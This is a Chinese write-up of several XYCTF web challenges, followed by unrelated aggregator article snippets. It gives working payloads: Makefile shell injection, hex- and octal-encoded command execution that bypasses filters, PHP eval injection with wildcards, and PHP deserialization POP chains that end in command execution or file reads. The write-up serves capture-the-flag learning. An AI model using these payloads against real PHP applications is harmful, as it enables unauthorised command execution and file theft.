XYCTF-部分web总结

news2024/10/7 4:33:13

这个月在XYCTF中写了部分web题,题中学到在此记录一下

ezhttp

打开就是一个简单的登录页面

a75067238caf43d3aa994bd24e283715.png

f12说藏在一个地方,先想到的就是robots.txt

63cde717224849de9f1fcb91bd35b26c.png

访问直接给账号密码

username: XYCTF
password: @JOILha!wuigqi123$

 登录后:

2208e14391de4d65b2355c4a53a8dd99.png

 明显考源跳转,修改referer值为yuanshen.com

4b90a872b9c149cc831fb65e21dd3673.png

 UA头检测,修改UA头为XYCTF

973dab902ca444319cba0fbb92a6ca81.png

检测设备ip,添加client-ip: 127.0.0.1

1e62835713e7404b8263b94f12fd1480.png

 考代理,使用XFF被ban了,换一个使用Via

Via: 该字段指示请求经过的代理服务器信息。它包含一个或多个代理服务器的名称和版本号,以及可选的注释信息。

 a895c84a78fc4aa58bc6d17ac0749987.png

 在cookie中添加XYCTF

e6c7705ed68349549dea3c5ea46e60a9.png


 

ezmd5

06e4be8fb15c42a689cdd25e111ad270.png 上传相同的图片抓包

b412cf48a6384034ad69c85f0812539a.png

发现md5一样但是areEqual是false

稍微修改一下图片内容发现areEqual为true但md5又为false

4dae4e597b1a4f798208c6b6cb7f9f9a.png

 猜测大概是要一个内容不同但是md5相同的图片

资料说是可以在不修改图片内容数据下去修改md5计算部分为相同

这位篇文章就有符合条件的图片

制造 MD5 碰撞 | 米米的博客 (zhangshuqiao.org)

 258f4257933b4acb90b7e94256d3ce57.png


warm up

ca4206b2e9124454ac23155ad6be250b.png 分析代码,首先一个很基础md5弱比较,数组绕过

val1[]=1&val2[]=2

 9a01b758117c4cd88a0ae374cb3ee2f5.png

 利用弱比较科学计数法让md5加密后还是以0e开头从而达到0=0的效果

md5=0e215962017

 ec0704096c0d45c2bc9a6ec5195e3202.png

 XY不能等于这个数但是md5加密后要相等

乍一看没有办法过去,但是 XYCTF_550102591

 加密后是以0e开头的,跟上一部分差不多原理

找一个md5加密后以0e开头的即可,所以总payload为

val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017

 b385cff708f44c0fbffcc763cda30929.png


 ezmake

Makefile考察,通过编写makefile项目内容去读取flag

直接给SRC赋值shell来实现系统命令执行

$SRC:=$(shell 'ls')

 d18da917ffee4f2697efcd574abb03d7.png

 因为没有做任何过滤,shell的解释器也指定为/bin/bash所以直接读取flag即可

$SRC:=$(shell 'cat flag')

34b04307954f4505a580a98258b145bf.png 当然也可以利用GNU Make 的 $(file) 函数结合文件函数(file function)来读取文件的行数或某一行的内容

 $SRC:=$(file < flag)

821ad0c96328439fb682d3eb22d30d62.png


ez?make 

 ffc42f5f5c4c4287b759a7a3b63ff6c2.png

 这题明显加了过滤,通过fuzz发现过滤的字符有

f,l,a,g,$,/,?,*

 没有了$就不能通过调用正常的调用函数和通配符去读取flag了

 对单字母的过滤可以利用linux对大小写敏感的特性通过大写绕过

而执行命令的方法可以通过编码进行绕过我们要直到,bash执行的是二进制数据,所以只要将要执行的命令转换成二进制去执行进行了

这里先利用xxd转换和管道符传递最后用反引号来执行

`echo 636174202F666c6167 | xxd -r -p`

 a984d2489ade482ca80daaf45ed59b2d.png


牢牢记住,逝者为大 

cf3cba6e9acf4b7d86c342090cd16992.png

 对传入的cmd进行检查最后利用eval函数执行,但是eval函数中包含的其他的字符。如果仔细看前面的字符中man前面有一个#这个是用来注释的这会注释掉拼接的cmd而不能执行。

难点一

  •  长度要求cmd<13
  • 关键词和部分字符过滤
  • 对传入的GET变量进行字符检测

难点二

eval()函数是将传入的字符串当成php命令去解析。但包含的字符会于$cmd拼接导致无法执行。

 解决方法

 cmd检测中我们可以发现两个比较明显的暗示:

  1. 限制了长度要么就是考察关键词替代,但是这里对短关键词过滤得死死的;要么就是考虑用参数外带的方法,而且在后面的检测中,检测了所以的考GET传入的参数。这也进一步暗示我们要用参数外带而且是GET方式(因为长度限制,能短就短)来与后面的eval构造一句话
  2. 在变量GTE参数时对flag中的f,l,a过滤但是没有过滤g这就让通配符有机可乘,虽然过滤了基本的?和*但是还有[@-z]这个表示所有大小写字母的方法来代替

 知道是要外带来构造一句话,我们最后去解决eval()中的问题

根据php官方对eval()的描述:

41b3e96d5e1b4fbabf33438257087e33.png

 可以利用标签重新进入PHP模式的方法对内容进行阻断,但是cmd的检测中过滤了>和?不能使用短标签阶段......

 但是我们忘记了最朴实无华的方法换行截断,我们可以通过%0a或者%0d来阻断前面的字符,这样我们换行后,前面的字符就被注释掉而不当成PHP命令去执行。后面也是利用#去注释掉

 这样eval的问题就解决了

最后构造外带参数时是要通过反引号去执行传入的参数,受限于长度限制,不能将执行的命令进行打印,这里可以通过将flag的内容复制到另一个文件来解决无显RCE,虽然过滤了cp但是可以利用linux特性\来绕过(小坑:仔细看过滤规则,是过滤|而不是\)

最终payload:

cmd=%0a`$_GET[B]`;%23&B=c\p /[@-z][@-z][@-z]g 1.txt

 这里有一个小小的知识点

访问1.txt 

564df3c6adf442379d96f51dba780dd8.png


ezRCE

e0880bc827ce4fd3b50a314835d2426e.png

 对传入的cmd进行检测,最后将cmd直接使用system执行系统命令

在对cmd的检测中:

遍历cmd中的每一个字符,要求每一个字符都为white_list上面的

解决:

 观察白名单上的字符只能是字符和斜杠和$符和<符,数字RCE通常的是利用异或,取反,自增,但是这些数字rce都要有如_的字符,这里没有就不用考虑。结合下面直接使用system函数执行的情况来看应该是利用系统能过识别的编码进行RCE

这里有一种办法可以实现:

在shell中还有$符号所代表的一些特殊含义

$0脚本自身的名字
$1脚本后所输入的第一串字符

$2

传递给shell的第二个参数
$*脚本输入后的所有字符
$@脚本输入后的所有字符
$_上一个命令的最后一个参数
$##脚本后输入的字符串个数
$$脚本当前运行的进程ID号
$!最后执行的后台命令的PID
$?显示最后命令退出的状态,0表示错误,其他表示由错误引起的原因

 

 

 

 

 

 

 

 

 

 

 

在shell环境中有一种特殊的表示字符的序列。在这种表示法中,\ 后面跟着一个八进制数,表示该字符的 ASCII 值。在bash中有一种特殊字符的引用的方式——$''(称为 ANSI-C quoting)它允许你在字符串中使用 ANSI C 转义序列来表示特殊字符或者 ASCII 控制字符。

例如:

  • $'\n' 表示换行符(ASCII 值为10)
  • $'\t' 表示制表符(ASCII 值为9)
  • $'\x41' 表示十六进制值为 41 的字符(即大写字母 A)
  • $'\154\163' 八进制表示字符序列 "ls"(ASCII 值分别为 154 和 163)

 这样就可以利用这个特殊的表示方法来执行命令了

3ca1de273b8746b69194e7a56b61fd0a.png

但是当我们将cat /flag转成八进制输入时

$'\143\141\164\40\57\146\154\141\147'

 508df240fcdd4ef4a481551b6e389216.png无法执行,这是因为bash在处理cat /flag时把其当成了一个整体而忽略了空格的分割。这里利用

bash中的一种特殊的语法Here String

 用于将字符串作为命令的标准输入提供给命令。它的语法形式是 <<<,后跟一个字符串,例如:

command <<< "string"

这里的 command 可以是任何接受标准输入的命令,而 string 则是要提供给该命令的字符串。Here String 的作用类似于使用管道将字符串传递给命令,但它更简洁,因为不需要使用 echo 或其他命令来产生输入。

 意思就可以直接产生传入并传给指定的command中从而使得bash可以执行有参数传入的函数

 又结合前面$特殊的含义,利用$0表示当前的脚本——bash

最终得到的payload为:

$0<<<$'\143\141\164\40\57\146\154\141\147'

 bc428ca45db747529afe526e2ef8bf7c.png

 参考文章:

利用shell脚本变量构造无字母数字命令 - 先知社区


 ezpop

 

 <?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}

class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}


if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

观察反序列化的链子很容易连起来

链子:

CCC::__destruct()—>AAA::__toString()—>BBB::__get($name)

开始接受参数是xy反序列化后直接赋值给$a

我们知道__destruct()析构方法是在对象销毁的时候才会触发,但是这里将反序列化后的对象赋值给$a后又直接抛出nooooooob!的异常使得程序中断。这个时候就会去检测对象的引用是否为0,若为0就直接销毁对象触发析构函数,但是对象事先赋值给了$a,就导致无法回收。

gc回收机制

 当一个对象的引用计数为0时就会触发gc回收机制这是为了节省空间的一个机制,当被回收后就能触发对象中的析构函数在php中,只有当对象的引用计数为0时才会触发回收机制,普通字符是无法触发的。

所有当我们的序列化对象中存在数组这样的对象,而数组中的指针又指向NULL就会被认为是无指向即引用计数为0从而触发gc回收机制

a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;}
数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1:int型;值为0

这里可以参考:

浅析PHP GC垃圾回收机制及常见利用方式 - 先知社区

 知道了回收机制构造验证一下:

63121a7424854d4da0228dcb1476f61f.png

 里面将$a以数组(数组中包括0和$a)的形式去序列化,然后将$的索引值从1改为0导致引用了第一个值(0在php中表示NULL)构成指针指向NULL触发回收机制

成功触发析构函数后我们看如何RCE

看到BBB类中的__get()方法

    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    } 

$b是以post传参所有参数的数组,$a是接收一个post传入的参数

call_user_func($function,$args)

  •  $function为一个函数,或者对象的方法
  • $args是传入$function函数的参数

 这个函数传入的应该是一个字符串才对,但是这里传入的是数组。这就要求$function接收的参数是一个数组才行,又看到后面还有($c)($d)是传个回调函数里面的$function执行后的返回值的参数

意思是在执行完call_user_func($function,$args)后还要是一个函数,我们要RCE当然想到的是system

但是要让call_user_func($function,$args)返回system()函数,就要让$function是返回system()的,而$functions是要处理数组的,这里就想到了一个函数end()用于返回一个数组中最后一个元素的值,只要,$b中最后一个是system()就可以了

最后的pauload为:

a:2:{i:1;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:9:"cat /flag";s:1:"d";N;}s:1:"a";N;}}i:1;i:0;}

 9abed53f01734be8b461a996bb7683c9.png


 ezSerialize

Leve1

 6ba91751c5b343aab9fe0d680330cb24.png

 调用$pop对象中的login方法,该方法中对password和token进行了检测,而token是由随机数生成的md5,理论上根本无法得到token的值,但是我password上我们可以通过修改password的引用(类似于指针)去引用token的索引,这样无论token的值怎么变password都能与之相等

 03e76c3f56a84894ad061f144fbc1aa5.png

得到的序列化数据通过手动修改b的索引

O:4:"Flag":2:{s:5:"token";s:0:"";s:8:"password";R:2;} 

R表示引用,用于标识序列化数据中某一个值的引用

这里因为token的引用值为2(因为第一个属性是序列化数据的长度,第二个则是token的值,第三个是password的值)

 6c78de0f172d4bae8ee02141716380ec.png

Leve2

 <?php
highlight_file(__FILE__);
class A {
    public $mack;
    public function __invoke()
    {
        $this->mack->nonExistentMethod();
    }
}

class B {
    public $luo;
    public function __get($key){
        echo "o.O<br>";
        $function = $this->luo;
        return $function();
    }
}

class C {
    public $wang1;

    public function __call($wang1,$wang2)
    {
            include 'flag.php';
            echo $flag2;
    }
}


class D {
    public $lao;
    public $chen;
    public function __toString(){
        echo "O.o<br>";
        return is_null($this->lao->chen) ? "" : $this->lao->chen;
    }
}

class E {
    public $name = "xxxxx";
    public $num;

    public function __unserialize($data)
    {
        echo "<br>学到就是赚到!<br>";
        echo $data['num'];
    }
    public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br>";
        }
    }
}

if (isset($_POST['pop'])) {
    unserialize($_POST['pop']);
} 

一个pop链的构造,大致的链子为:

E::__unserialize()——>D::__tostring()——>B::__get()——>A::invoke()——>C::__call()

 本以为会顺利的进行,但是在E类中还有一个__wakeup()方法,PHP在7.4版本前__wakeup()方法在反序列化后会优先于__unserialize()方法触发,这样就不能触发__unserialize()方法了。

本以为可以用属性个数不匹配(cve-2016-7124)但这是要在php<7.0.10下才有用,而题目是7.0.33

这似乎不能被触发,但是有意思的点来了:

6d76bb9fbd404cbc84ad58853b821665.png

正常的构造也可以触发B类的__call函数,问题是前面的__tostring是怎么触发的呢?

仔细看我是给$name属性赋值为new D()就可以触发了,尝试只给num赋值

6577346f92ba4b888022ec8d5819fa33.png

其实是因为在wakeup中:

public $name="XXXXX"   

 public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br>";
        } 

 在这个判断条件中,当name被重新赋值为new D()时就触发了__tostring

不难发现,其实当this->name在于字符串比较时就已经被当成字符串去使用了,这也就说明为什么只有num=new D()时不触发(因为在这个判断条件中使用的是|| 当前的name不为空时就直接成立了,就不会再去比较后面)

如果当name和num都赋值时会发生什么?

79e2e7d1d3764359bf3fbf4097a91eab.png

发现两个都执行了,这大概是在name比较时触发了__tostring 然后一直触发下去直到B类中的__call中输出success但是没有返回值(A类中的__invoke()也没有返回值),再回去比较num的值还是触发__torsing显示同样的效果

如果设置了返回值:

bf373f5f4a054560bb4209ca1c824479.png

设置返回值第二个就不会触发与推测一致。

最终payload:

O:1:"E":2:{s:4:"name";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}s:3:"num";N;}

776b5300fd9c4d42868f6b26933870cd.png Leve3

 

 <?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;

    public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
    {
        $this->Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}


if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}

大概观察只是普通的构造,主要是在如何读取文件

我们看到在XYCTFNO3中的XY()方法里有

echo new $_POST['X']($_POST['Y']); 

 new一个可控的参数首先想到的就是原生类

 我们可用使用SplFileObject原生类进行文件读取

$a=new SplFileObject('/etc/passwd');

 创建了一个 SplFileObject 实例,用于打开 /etc/passwd 文件。这个操作会将 /etc/passwd 文件以只读模式打开,并返回一个 SplFileObject 对象。 

 再看触发XY方法的条件:

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    } 

要满足XYCTFNO2中的:

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }

要求满足两个都相等,可以看出$this->adwa是XYCTFNO1类

但是该类中没有crypt0属性,但是我们可以多添加这个属性

所以有:

<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    public $crypto0;
    private $upsw1ng;

    public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
    {
        $this->Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}
$a1=new XYCTFNO1('lie','yuroandCMD258');
$a2=new XYCTFNO2('1',$a1);
$a3=new XYCTFNO3($a2,'fasd');
$a2->adwa=$a1;
$a1->crypto0='dev1l';
$a3->N1ght='oSthing';
echo serialize($a3);

得到:

O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";s:1:"1";s:4:"adwa";O:8:"XYCTFNO1":4:{s:3:"Liu";s:3:"lie";s:4:"T1ng";s:13:"yuroandCMD258";s:7:"crypto0";s:5:"dev1l";s:17:" XYCTFNO1 upsw1ng";s:9:"Showmaker";}}s:7:"fpclose";s:4:"fasd";s:5:"N1ght";s:7:"oSthing";}

 ea8881b429c64241ace81d2d9b5ab192.png

发现已经触发但是没有回显,这时候可以利用php伪协议进行回显:

X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php

913ab3cb6d9a44c0869ba4e563287074.png

 解码即可得到flag

9e0a615362ea437985c702256a44e194.png


总结

  •  Via头是 HTTP 请求和响应中的一个常见标头之一。它用于指示请求或响应经过的中间节点(例如代理服务器或缓存)

  • makefile的基本语法使用参考:
    Makefile教程(绝对经典,所有问题看这一篇足够了)-CSDN博客

  •  xxd是一个十六进制编辑器,它可以用来查看文件的十六进制表示,并可以将二进制数据转换为十六进制格式。它通常在 Unix 和类 Unix 操作系统(如 Linux)中提供。

    查看文件的十六进制表示xxd filename
    生成十六进制转储文件xxd -b filename
    将十六进制转储还原为二进制文件xxd -r hexdumpfile
    将二进制文件转换为 C 风格的数组xxd -i filename

    输出内容以纯粹的十六进制格式显示

    xxd -s offset -l length filename

 

 

 

 

 

  • %0a或%0d阻断eval("#XXXX".$cmd)
  • 段标签重新进入PHP模式阻断eval("#XXXX".$cmd)
  • 修改引用指向NULL触发gc回收机制
  • 字符串比较也能触发__tostring()
  • 原生类SplFileObject配合php伪协议读取文件

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1630399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

window 安装大模型 chatglm.cpp

你好&#xff0c;我是 shengjk1&#xff0c;多年大厂经验&#xff0c;努力构建 通俗易懂的、好玩的编程语言教程。 欢迎关注&#xff01;你会有如下收益&#xff1a; 了解大厂经验拥有和大厂相匹配的技术等 希望看什么&#xff0c;评论或者私信告诉我&#xff01; 文章目录 一…

【MyBatis】使用MyBatis框架在两张表是一对多的情况下,进行分步查询,发现对查询出来的结果进行封装时没有将实体类的id进行赋值

Catalog MyBatis在两张表是一对多的情况下,进行分步查询&#xff0c;发现对查询出来的结果进行封装时没有将实体类的id进行赋值1. 表结构2. 场景3. 实现方式具体步骤 4 .测试5. 解决方法 MyBatis在两张表是一对多的情况下,进行分步查询&#xff0c;发现对查询出来的结果进行封装…

【顺序表小题】

顺序表小题 移除元素思路一思路二 合并两个有序数组思路一思路二 移除元素 链接: 题目链接 思路一 创建新的数组&#xff0c;遍历原数组&#xff0c;将不为val的值放到新数组中 思路二 双指针法。 创建两个变量src,dst。 1)若src指向的值为val&#xff0c;则src 2)若sr…

堆的介绍,实现(c语言实现)

目录 堆的概念 堆的性质&#xff1a; 堆的分类 父子结点的下标关系 堆的向下调整算法 ​编辑小堆 大堆 建堆 堆的向上调整算法 小堆 大堆 堆的基本操作 定义堆 初始化堆 销毁堆 打印堆 堆的插入 堆的删除 大堆&#xff08;Max Heap&#xff09;的向下调整算法…

51单片机入门(一)

1. 51单片机的基础介绍 2. RAM和ROM的区别 总体而言&#xff0c;RAM和ROM在计算机系统中起着不同的角色&#xff0c;RAM用于临时存储运行时数据&#xff0c;而ROM用于存储永久性的固件和系统程序。 3. 为什么叫51单片机 因为51系列单片机都是使用Intel 8031指令系统的单片机…

[linux网络编程]UDP协议和TCP协议的使用

目录 看以下内容前&#xff0c;你要先了解main函数带参数有什么用、 了解socket的相关函数接口 如果不了解socket的相关函数接口请先看我这篇文章 main函数带参数有什么用 UDP udp_server 1.生成socket文件描述符 2.填充sockaddr_in信息 3.bind 4.发&#xff08;收&…

Golang基础7-并发编程

并发编程 https://www.cnblogs.com/Survivalist/p/11527949.html 进程和线程、协程的区别_线程协程进程的区别-CSDN博客 Golang中的并发编程是一个重点&#xff0c;我们要了解Golang中的并发Goroutine因此需要先理解进程、线程、之后再理解协程。 进程&#xff1a;操作系统进…

论文发表英语类期刊《校园英语》如何投稿?

论文发表英语类期刊《校园英语》如何投稿&#xff1f; 《校园英语》本刊设有栏目&#xff1a;本期关注、教研探索、实践前沿、经验交流、翻译探究、语言文化等。 《校园英语》杂志是经国家新闻出版总署批准&#xff0c;创刊于2000年&#xff0c;由河北出版传媒集团主管&#…

AI文章写作网站

最强AI文章写作网站——心语流光&#xff08; Super Ai Writer &#xff09; 特点 多轮问答写作&#xff0c;自动携带历史记录进行问答可以自定义携带历史记录的轮数&#xff0c;为0则携带全部历史记录&#xff0c;有效避免token浪费&#xff08;类似coze平台&#xff09;AI生…

制作自己的YOLOv8数据集

制作自己的YOLO8数据集 前言 该数据集的格式参照于coco数据集结构✨ 步骤一&#xff1a;收集图像数据 从互联网上下载公开的数据集&#xff0c;也可以使用摄像头或其他设备自行采集图像&#xff0c;确保你的图像数据覆盖了你感兴趣的目标和场景 步骤二&#xff1a;安装Labe…

OCNet

object context pooling (OCP) 作者未提供代码

【黑马点评Redis——002商户查询缓存】

1. 商户查询缓存 2. 知识储备和课程内容 2.1 什么是缓存 缓存是数据交换的缓冲区&#xff0c;是存贮数据的临时地方&#xff0c;一般读写性能较高。 浏览器缓存应用层缓存数据库缓存CPU缓存磁盘缓存 缓存的作用&#xff1a; 降低后端负载提高读写效率&#xff0c;降低响应…

计网笔记:第1章 计算机网络概论

计网笔记&#xff1a;第1章 计算机网络概论 第1章 计算机网络概论1.1 计算机网络发展与分类1.2 OSI和TCP/IP参考模型OSI与TCP/IP参考模型图 1.3 数据封装与解封过程借助OSI模型理解数据传输过程(封装)借助OSI模型理解数据传输过程(解封) 1.4 本章例题 第1章 计算机网络概论 1.…

喜讯!和鲸科技入选 “算力中关村”—— 2024 算力技术创新与应用服务案例集

2024 年 4 月 27 日上午&#xff0c;以"技术重塑生态 算力驱动未来"为主题的"算力中关村"技术成果对接交流专场活动在北京成功举办。作为 2024 中关村论坛的重要组成部分&#xff0c;该专场活动旨在为各界人士打造一个专业化、高效化的技术成果展示与对接平…

SpringMVC 源码剖析

SpringMVC 源码剖析 0 从源码角度分析SpringMVC执行流程 // 前端控制器&#xff0c;SpringMVC最核心的类 public class DispatcherServlet extends FrameworkServlet {// 前端控制器最核心的方法&#xff0c;这个方法是负责处理请求的&#xff0c;一次请求&#xff0c;调用一次…

Redis入门到通关之数据结构解析-IntSet

文章目录 概述IntSet升级简易源码总结 欢迎来到 请回答1024 的博客 &#x1f34e;&#x1f34e;&#x1f34e;欢迎来到 请回答1024的博客 关于博主&#xff1a; 我是 请回答1024&#xff0c;一个追求数学与计算的边界、时间与空间的平衡&#xff0c;0与1的延伸的后端开发者。 …

详细谈电脑ip、域名、内网、外网、localhost、127.0.0.1、网关等通讯基础知识(易懂)

1. ip地址与域名的定义以及其关系 ip地址的定义&#xff1a; IP地址&#xff08;Internet Protocol Address&#xff09;是指互联网协议地址&#xff0c;又译为网际协议地址。 IP地址是IP协议提供的一种统一的地址格式&#xff0c;它为互联网上的每一个网络和每一台主机分配一…

【ARM 裸机】BSP 工程管理

回顾一下上一节&#xff1a;【ARM 裸机】NXP 官方 SDK 使用&#xff0c;我们发现工程文件夹里面各种文件非常凌乱&#xff1b; 那么为了模块化整理代码&#xff0c;使得同一个属性的文件存放在同一个目录里面&#xff0c;所以学习 BSP 工程管理非常有必要。 1、准备工作 新建…

短视频账号矩阵系统===4年技术源头打磨

短视频矩阵系统技术源头打磨需要从多个方面入手&#xff0c;以下是一些建议&#xff1a; 1. 基础技术研发&#xff1a;不断投入资金和人力进行基础技术研发&#xff0c;包括但不限于视频处理、人工智能、大数据等技术&#xff0c;以提高短视频矩阵系统的性能和稳定性。 2. 优化…

多进程编程:原理、技术与应用

title: 多进程编程&#xff1a;原理、技术与应用 date: 2024/4/26 12:14:47 updated: 2024/4/26 12:14:47 categories: 后端开发 tags: 多进程并发编程网络服务分布式系统任务处理进程池线程对比 第一章&#xff1a;进程与线程 进程与线程的概念及区别&#xff1a; 进程&am…